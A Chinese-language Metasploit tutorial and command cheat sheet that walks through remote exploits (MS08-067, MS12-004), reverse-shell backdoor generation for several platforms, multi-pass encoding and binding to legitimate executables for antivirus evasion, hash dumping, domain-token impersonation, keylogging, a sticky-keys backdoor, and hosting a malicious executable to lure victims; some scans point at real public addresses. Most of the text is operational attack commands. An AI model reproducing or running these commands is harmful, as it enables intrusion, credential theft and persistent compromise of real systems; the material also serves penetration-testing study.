企业🤖AI Agent构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
metasploit是一款开源的渗透测试框架也是一个逐步发展与成熟的漏洞研究与渗透代码开发平台 **metasploit体系如下:** ![](https://upload-images.jianshu.io/upload_images/8236373-0f9043b2f9685adf.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/700) > 基础库文件(Libraris):提供了核心框架和一些基础功能的支持 > 模块(Modules):实现渗透测试功能的主体代码 > 插件(Plugins):将外部的集成工具集成到框架中 > 用户接口(Interface)和功能程序(Utilities):集成模块与插件的渗透测试功能 **1.基础库文件** 位于源码根目录下的libraries目录中。 Rex:基础组件网络套接字,网络应用协议客户端与服务端实现、日志子系统、渗透攻击例程、数据库支持 core负责实现与各种类型的上层模块及插件的交互接口 base库扩展了core,提供更简单的包装例程支持用户接口与功能程序调用框架功能及集成模块 **2.模块** 辅助模块(Aux):网络服务的扫描查点、口令猜解、敏感信息嗅探、Fuzz测试发掘漏洞、网络协议欺骗 > 渗透攻击模块(Exploits) > 后渗透攻击模块(Post) > 攻击载荷模块(Payloads) > 空指令模块(Nops) > 编码器模块(Encoders) **3.插件** 将Nmap、Neuss等功能集成到metasploit中 **4.接口** > msfconsle控制台终端 > msfcli命令行 > msfgui图形化界面 > armitage图形化界面 > msfapi远程调用接口 **5.功能程序** 一系列可以直接运行的程序功能,支持安全研究员快速的利用Metasploit框架内部能力完成一些特定功能 **console的使用** service postgresql start //先连接数据库 msfconsole //打开框架 msf>help //显示msf所支持的命令列表 msf>help search //显示关于search参数的命令和使用 **实例入侵metasploitable靶机** 1.search samba搜索模块 2.use multi/samba/usermap_script 使用模块 3.show payloads查看可用的载荷 4.set payload cmd/unix/bind_netcat 使用载荷 5.show options 选择载荷可用选项 6.set RHOST 192.168.0.94 设置载荷的攻击目标IP 7.exploit执行渗透攻击 然后攻击成功会建立一个会话,返回一个可交互的shell 这就是使用metasploit渗透的一个常规流程 **靶机环境:** 1.OWASP DVWA 2.Linux metasploitable https://sourceforge.net/projects...es/Metasploitable2/ [metasploit使用ms12-020使03服务器蓝屏(视屏)](https://v.qq.com/x/page/j0327t58yw6.html) **网络服务渗透攻击面** Windows平台根据网络服务攻击面的类别来分,可分为三大类 **1.针对Windows系统自带网络服务的渗透攻击** NetBios:UDP137、138、TCP139,MS03-034 SMB(服务器消息快):TCP445、NBT间接用TCP139接收数据,MS10-012、MS10-054 MSRPC(微软远程过程调用):TCP139、445,MS05-039、MS09-026、 MS08-067 RDP(远程桌面):TCP3389,MS12-020 **2.针对Windows系统上微软网络服务的渗透攻击** IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-029 **3.针对Windows系统上第三方网络服务的渗透攻击** Apache Tomcat MYSQL 用Exploit利器mona.py绕过Windows 7下的DEP+ASLR安全组合。 经典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020 **如何使用攻击载荷模块** **1.查看载荷信息** info windows/exec //假设要查看这个载荷的信息 **2.管理攻击载荷模块的** Shellcode msfpayload windows/exec CMD=dir C //导出成C语言数组的完整Shellcode。 **3.查看Shellcode汇编代码** msfpayload windows/exec CMD=dir R | ndisasm -u **升级和更新** 获取新的攻击代码。 进入框架目录更新 cd /usr/share/metasploit-framework/./msfupdate **端口扫描** **一、调用nmap扫描** 开启msfconsole后,直接nmap -v -sV 101.200.44.127 **二、MSF扫描模块--use auxiliary/scanner/portscan/syn** search portscan //搜索端口扫描模块 use auxiliary/scanner/portscan/syn //使用syn扫描模块 show options //显示模块可操作选项 set .... //设置具体选项 run //开始扫描,运行 **SMB扫描获取系统信息** use auxiliary/scanner/smb/smb_version show optionsset RHOSTS 192.168.1-200 //可以设置单个IP或者范围set THREADS 10 //设置线程 **服务识别** SSH use auxiliary/scanner/ssh/ssh_version show optionsset RHOSTS 192.168.0.10 //设置多个ip 192.168.0.11 192.168.0.55run FTP use auxiliary/scanner/ftp/ftp_versionset RHOSTS *run 密码嗅探 use auxiliary/sniffer/psnufflerun //可以嗅探FTP **SNMP扫描与枚举** search SNMP use auxiliary/scanner/snmp/snmp_login show options set RHOSTS * 枚举 use auxiliary/scanner/snmp/snmp_enumset RHOST * set THREADS 10 run SMB登录验证 use auxiliary/scanner/smb/smb_lo show options set RHOSTS * set SMBuser administrator set THREADS 10 run VNC身份认证 use auxiliary/scanner/vnc/vnc_none_auth show options set RHOSTS * set THREADS 50 run WMAP(轻量级测试工具,检测常见的Web漏洞) service postgresql start //先启动数据库 msfconsole //再启动msf db_status //msf下输入,查看数据库状态 msfdb init可以初始化数据库 load wmap //载入wmap wmap_targets -h //查看帮助 wmap_sites -a http://www.51xkx.cn //添加URL wmap_sites -l //查看配置的URL wmap_targets -t http://121.42.88.105 //添加url对应的IP wmap_targets -l //查看是否写入成功 wmap_run -h //查看运行选项 wmap_run -t //选择运行方式,加载 wmap_run -e //开始测试 wmap_vulns -l //扫描完成后查看结果 **远程代码执行** search 08-067 (Win 2003、xp) use exploit/windows/smb/ms08_067_netapi show options set RHOST * show payloads //查看可用攻击载荷 set payload windows/meterpreter/reverse_tcp show optionsset LHOST * // 设置本机IP,如果是攻击外网,本身必须是外网ip info 或者show targets //查看系统版本信息 set target 17 //设置目标版本信息 (只有08-067不能自动识别版本号,其他的可以自动获取) show options //检查设置 exploit //开始攻击 shell //获取目标cmd-shell MIDI文件解析远程代码执行 影响范围win2003、winxp、win7 search 12-004 use exploit /windows/browser/ms12_004_midi show options set SRVHOST * //设置本机IP set URIPATH / //把网址后缀改成'/' exploit //start exploit sessions //查看会话 sessions -i 1 //连接会话 shell //连接shell 口令安全 search mysql_login //搜索mysql登录破解利用模块,ssh等可以登陆的也行 use auxiliary/scanner/mysql/mysql_login show options set RHOSTS 127.0.0.1* set USERNAME root set PASS_FILE /root/1.txt set THREADS 50 exploit **Hash值传递渗透** 1.在不知道密码的情况下 获得meterprete后 meterpreter>hashdumpset smbpass 获取到的hash值 2.在知道密码的情况下 直接登录就行 **NDProxy内核提权** 获取meterpreter情况下,权限小,用这个洞来提升权限 search 14-002 use exploit/windows/local/ms_ndproxy show options set session 1 //选择会话 exploit getuid //查看当前权限 getsystem //这个命令也可以用来提取 **多种后门生成** metasploit可以生成多钟后门 windows Linux msfpayload linux/x86/shell_reverse_tcp LHOST=* LPORT=* x>linux Java msfpayload java/meterpreter/reverse_tvp LHOST=* LPORT=* w>123.jar php (msfpayload php/meterpreter/reverse_tcp LHOST=* LPORT=* R | msfencode -e php/base64 -t raw -o 123.php) asp aspx Android msfpayload android/meterpreter/reverse_tcp LHOST=* LPORT=* R >1.apk 完整过程 msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=1234 x >123.exe //生成windows后门攻击载荷 ls //查看生成后门所在当前文件夹在 msf监听 search handler use exploit/multi/handler show options set payload windows/meterpreter/reverse_tcp set LHOST * set LPORT 1234 exploit 目标运行后门后,会反弹shell **内网渗透** 获得shell之后需要对C段进行一次扫描 meterpreter>run get_local_subnets //获取网卡 run autoroute -s 192.168.48.0/24 //扫描整个C段 在shell中执行,net view 查看域 若有域控在meterpreter劫持它的域管理 use incognito //调用模块 list_tokens -u //查看它都有什么域 impersonate_token 域管理 shell //获得域管理的shell 如果没有域管理 use auxiliary/sniffer/psnufflerun //嗅探登录密码 FTP 免杀payload 免杀例子 加壳、改壳、花指令、源码免杀、改特征码 首先还是先生成一个后门 msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86 /shikata_ga_nai -t exe >123.exe //可以多种编码效果更好 msfencode -l //查看有多少可用编码 msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/countdown -c 6 -t exe -o /666.exe //多次编码 msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -t exe -x /root/正常.exe -o 1213.exe -e x86/shikata_ga_nai -k -c 20 //绑定正常的文件 多种编码+多次编码+绑定正常的可执行程序 **玩转不一样的XSS** search keylogger //搜索相关模块 use ....javascript_keylogger 那个模块 show options set DEMO true //启用官方的DEMO set URIPATH / //伪装url set srvport 80 //设置服务端口80 run 类似钓鱼网站,记录键盘,感觉没什么卵用 **维持访问(种植后门)** meterpreter>run metsvc -A / /种植后门 msf>use exploit/multi/handler set payload windows/metsvc_bind_tcp show options set LPORT 生成后门的端口 set RHOST * exploit 主动连接到shell,在服务器上才行 第二种方法,键盘记录后门 meterpreter>keyscan_start //开启键盘记录 meterpreter>keyscan_dump //查看键盘记录结果 第三种shift后门 meterpreter>shell CD C:\windows\system32 cacls sethc.exe /t /e /G Administrators:f cacls cmd.exe /t /e /G Administrators:f ren sethc.exe aaa.exe ren cmd.exe sethc.exe 使用Metasploit创建反向shell ------------------------------------------------------ 1.首先创建反向shell msfvenon -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4443 -f exe > cute_dolphin.exe 2.创建监听连接器 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.100 set lport 4443 set ExitOnSession false set AutorunScript post/windows/manage/smart_migrate exploit -j -z 3.kali已经准备就绪,启动Apache程序 service apache2 start 4.然后将恶意文件复制到Web服务器文件夹内 cp cute_dolphin.exe /var/www/html/ 5.引诱受害者访问我们的陷阱 http://192.168.0.100/cute_dolphine.exe 6.查看活动连接 sessions 7.如果打算和会话交互,可以使用-i选项 sessions -i 1 8.我们会看到meterpreter连接 可以查看被入侵的系统信息 sysinfo 或者执行系统shell shell